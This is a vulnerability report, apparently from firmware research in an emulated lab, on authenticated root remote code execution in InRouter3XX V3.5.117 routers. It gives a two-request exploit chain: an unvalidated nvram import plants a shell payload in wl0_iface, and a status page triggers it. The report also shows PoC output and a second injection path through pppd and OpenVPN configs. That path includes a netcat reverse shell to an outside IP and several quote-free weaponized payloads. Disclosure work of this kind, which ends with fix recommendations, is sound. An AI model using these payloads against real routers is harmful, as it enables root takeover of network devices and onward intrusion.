InRouter3XX V3.5.117 -- Authenticated Root RCE (fully remote)

Firmware: InRouter3XX-V3.5.117.bin -- SHA256 c2b77c44036dcdec2be637015655bd0e28d1eda4996ea994e8a5bff9167c24a1 Class: CWE-78 (command injection) + CWE-20 (missing input validation) Access needed: any write-enabled web account -- the primary admin or a secondary read/write account (lab default adm / 123456) Impact: arbitrary commands as root, in two HTTP requests Status: demonstrated end-to-end in the QEMU lab (2026-10-16); success verified over HTTP alone -- no serial console, no file-write primitive, no local access


1. The bugs in one minute

The router keeps settings in a memory table (nvram). Two flaws combine:

Bug 1 -- unvalidated settings import. upload.cgi with type=inex imports a key=value file into nvram with no checks at all (filevars2nvram(), libnvram 0x1c478). Every other path to nvram validates against a 701-entry whitelist of known keys. This one doesn't, so any internal key can be set to any value.

Bug 2 -- a setting that is executed by a shell. The WiFi status page runs:

// stainfo @ 0x4170fc (reconstructed)
snprintf(cmd, sizeof(cmd), "iwpriv %s show stainfo",
         nvram_safe_get("wl0_iface"));       // not sanitized
popen(cmd, "r");                             // sink @ 0x4171f8

Its sibling wlscan() validates the same key with is_valid_option_str(); stainfo() forgot. So whatever wl0_iface holds gets pasted into a root shell command. Set it to ;command; and the shell runs:

iwpriv ;command; show stainfo

The delivery trick that connects them. Bug 1 needs a file on the router. Uploaded files are saved to /tmp/<name>, but the importer opens the filename form field -- and that text field rejects /, so you can't just type /tmp/.... The gap closer: when the multipart parser saves an uploaded file, it writes the /tmp/<name> path back into the form field of the same name, in code, where the / filter never applies. So an upload field named filename hands the importer the absolute /tmp path of attacker-controlled content.

How low can the attacker's privileges be? Tested account-by-account (2026-10-16): the only gate that holds is write permission. A secondary read-only account is refused at upload.cgi; a secondary read/write account gets full root RCE -- the primary admin is never needed. Changing router settings is supposed to be the ceiling for such an account, not root command execution.


2. The exploit -- two requests

Request 1 -- plant the payload (authenticated POST):

POST /upload.cgi   (multipart/form-data)

name="type"        -> inex
name="filename"    -> an UPLOAD FIELD (not a text field)
   filename="a1b2c3.vars"
   content:  wl0_iface=;cat /proc/self/status > pwn.txt 2>&1;

What the parser (input callback 0x412a30) does with the file part:

Address Action
0x412dc0 sees filename=" -> this is a file part
0x412e60 saves it to /tmp/<name> ("/tmp/%s", mode wb)
-- refuses to overwrite an existing file (random name dodges this)
end of part sets the form field filename = /tmp/<name> (programmatic -- no / filter)

What the handler (output callback 0x410bfc) does next:

Address Action
0x410d54 type == "inex"
0x410fe0 filevars2nvram("/tmp/<name>") -> nvram_set("wl0_iface", ";command;")
0x410ff0 unlink() -- removes the temp file automatically

Request 2 -- run it (authenticated GET):

GET /status-wlanclients.jsp

The page's <% stainfo(); %> tag executes the command as root. The example payload drops /proc/self/status into the webroot (/www, httpd's cwd), which is then fetched back over plain HTTP as proof.

Planting can be confirmed over HTTP too -- the getinfo.cgi read oracle:

POST /getinfo.cgi (Basic auth)   body: wl0_iface
wl0_iface=;cat /proc/self/status > pwn.txt 2>&1;

3. Proof of Concept

poc-rce-remote.py -- verified run (2026-10-16):

$ python3 poc-rce-remote.py http://127.0.0.1:18080 adm 123456
[*] target http://127.0.0.1:18080 (user adm)
[+] logged in
[+] payload executed (stainfo popen)
[+] GET /pwn.txt -> 'Uid:\t0\t0\t0\t0'
[+] ROOT RCE CONFIRMED -- fully remote (2 authenticated HTTP requests)
[*] cleaned up; wl0_iface = 'wl0_iface=ra0'

The script logs in, plants, triggers, verifies Uid: 0 over HTTP, then cleans up (removes the proof file, restores wl0_iface). It never touches the serial console. Also verified with a secondary read/write account (low_priv) instead of adm -- identical result.


4. Why the router's defenses don't stop it

Every route to nvram is validated -- except the one we use:

Path to nvram Validated?
Web forms (apply.cgi) yes -- 701-key whitelist
Config file load yes -- whitelist
Config import (type=config) yes -- whitelist
inex import (filevars2nvram) no -- any key, any value

And both filters that look relevant to delivery don't apply:


5. Scope, limits, reliability

Research lessons worth keeping:


6. Secondary findings

  1. Injection-ready values in whitelisted keys -- SECOND RCE PATH, statically confirmed end-to-end (2026-10-16). apply.cgi accepts ;, &, $(), \n, \ in 221 keys (validate_text* reject-lists are tiny). Proven stored: ntp_server=10.1.2.3;touch /tmp/P2. Two consumers in systools (traced at instruction level):

pppd (start_ppp): wanX_ppp_options (validate_text, 256 chars -- rejects only ' " | \ < >) is written **verbatim** into the pppd peer file and executed: ``` systools 0x423aac: sprintf(key,"wan%d_ppp_options",n) -> nvram_safe_get systools 0x424214: fprintf(peers, "%s\n", value) <- verbatim systools 0x4235bc: sprintf(path,"/etc/ppp/peers/wan%d",n) -> fopen "w" systools 0x423e90: execvp("pppd", {"pppd","call","wan%d"}) ```pppd call wanNparses that file --pty runs the command through a shell **as root** when the link comes up (modem/PPPoE -- the product's core feature). No rejected characters are needed:pty /bin/sh -c nc 10.1.2.3 4444 -e /bin/sh` passes validation.

OpenVPN (do_openvpn_tunnels): openvpn_ovpn1-4 (validate_text1, 32 KB, quotes and newlines allowed) -> nvram2file (libnvram: fopen("w") -> fputs(value) -- verbatim) into <tunnel>.conf under /etc/openvpn, then: systools 0x477160ff: execvp("openvpn", {"openvpn","--cd","/etc/openvpn", "--config",<conf>,"--askpass",...}) The vendor itself appends up/route-up/down script directives to the same file -- an attacker's config lines execute the same way as root when the tunnel starts (e.g. script-security 2 + up <script>, with a second ovpn key holding the script itself).

Same privilege floor as the main chain (authenticated write-enabled account) but a completely independent sink in a different binary.

Live validation in the lab (2026-10-16, incl. the PPPoE lab): - apply.cgi accepted and stored the payload verbatim through the real web path, including backslash escapes -- executed as a secondary read/write (low_priv) account, not just adm. - In the PPPoE lab (second guest running the original pppoe-server, router's original pppd + rp-pppoe.so, live session with full PADI/PADO/PADR/PADS/IPCP negotiation), the stored string placed in /etc/ppp/peers/wan1 (exactly what systools' fprintf produces) and pppd invoked exactly as systools does (pppd call wan1) resulted in pppd executing the pty payload as root -- root-owned markers (/tmp/P2, /tmp/P4, /tmp/PPP_LOWPRIV). Note: this embedded pppd build rejects the connect option; pty is the working payload form. - Quote-free weaponization (all chars pass validate_text): 1. single command with args -- escape every space: pty /bin/touch\ /tmp/PWN \u2705 executed 2. arbitrary multi-line script -- one key holds pty /bin/sh\ /etc/ppp/peers/wan2, the second key (wan2_ppp_options, newlines allowed) holds the script itself; sh runs it without needing the exec bit \u2705 executed 3. reverse shell: pty /bin/nc\ <ip>\ <port>\ -e\ /bin/sh - The only link not dynamically stepped through is the service wan start -> start_wan(1) orchestration call: statically traced, but the lab's missing modem hardware blocks the dial-up monitor loop. Every other link is proven live. 2. $AES$ fail-open. For 20 flagged keys, a value starting $AES$ that fails to decrypt validates as empty and is stored anyway. 3. Factory WiFi blob crypto reproducible. WIFI-DEC.BIN = OpenSSL enc with EVP_BytesToKey(aes-256-cbc, sha256, salt, passphrase=serialnum); any admin can craft blobs that the wifi upload path dds to /dev/mtd7. 4. Arbitrary file read into nvram via the inex filename field (cwd-relative, any key=value file on the filesystem). 5. Info leak: getinfo.cgi (Basic auth) returns any nvram key's value.


7. Exec-sink audit (reference)

36 functions in httpd contain system/popen/execl. Post-engagement status:

Handler / function Sink Input source Verdict
stainfo @0x4170fc popen 0x4171f8 wl0_iface, unvalidated EXPLOITABLE (this report)
wlscan @0x416760 system/popen x5 wl0_iface via is_valid_option_str safe
ping.cgi @0x41857c web_pipecmd addr charset-checked, option whitelisted safe
ping timer @0x40f5ec systemx2, execl dst charset + resolver validated safe
trace.cgi @0x418364 web_pipecmd same validators as ping safe
arping action_result @0x408574 system (sed) dst validated (validate_iprange+inet_pton) safe
tcpdump.cgi @0x4187f0 fork+system iface system-derived; filter whitelisted safe
iodigital.cgi @0x40962c web_pipecmd x2 params strcmp-gated safe
wifi.cgi @0x410328 / upload @0x410980 system (mtd-*, dd) factory serial / decrypted blob crypto broken (\xa76.3)
wireguard.cgi @0x40c030 popen x6 constant commands safe
viewlog / viewdnslog / viewconntrack web_pipecmd, system constants + %d safe
traffic_analysis @0x418ebc systemx3 constant commands safe
qrate (API) @0x41a8b0 popen (tc ... %s) wan_iface (system-derived) safe
devlist @0x41c1ac popen constant iwpriv ra0 show stainfo safe
reboot / unlock / cert-mgr / settime system / execvp constants / argv (no shell) safe
captive portal auth @0x41dca0 system/popen portal off by default; peer IP from inet_ntoa not reachable in default config

8. Fix recommendations

  1. stainfo() (and every command builder): never interpolate config values into shell strings -- use execvp argv form; apply is_valid_option_str to wl0_iface like wlscan() already does.
  2. Route filevars2nvram() through the descriptor-table validation (or lock the inex import to a fixed schema); check its return value.
  3. Replace reject-list validation (validate_text*) with per-key allowlists.
  4. Treat the multipart parser's /-filter and no-overwrite behavior as defense-in-depth only -- not the security boundary.

9. Artifacts

File Purpose
poc-rce-remote.py Primary PoC -- fully remote, 2 requests, HTTP-only verification
poc-rce.py Superseded lab variant (serial-console planting) -- historical
emulation/exploit-inex.py Early exploit-development script (failed on a stale /tmp file; see \xa75)
emulation/probe-inject.py Phase-1 blanket injection probe (33 CGIs x 6 payloads)
analysis/httpd/got_taint.py GOT-aware taint engine (produced the \xa77 sink catalog)
analysis/httpd/window.py, libwindow.py Annotated disassembly tooling
/tmp/opencode/nvram-key-validators.json Full 701-key whitelist map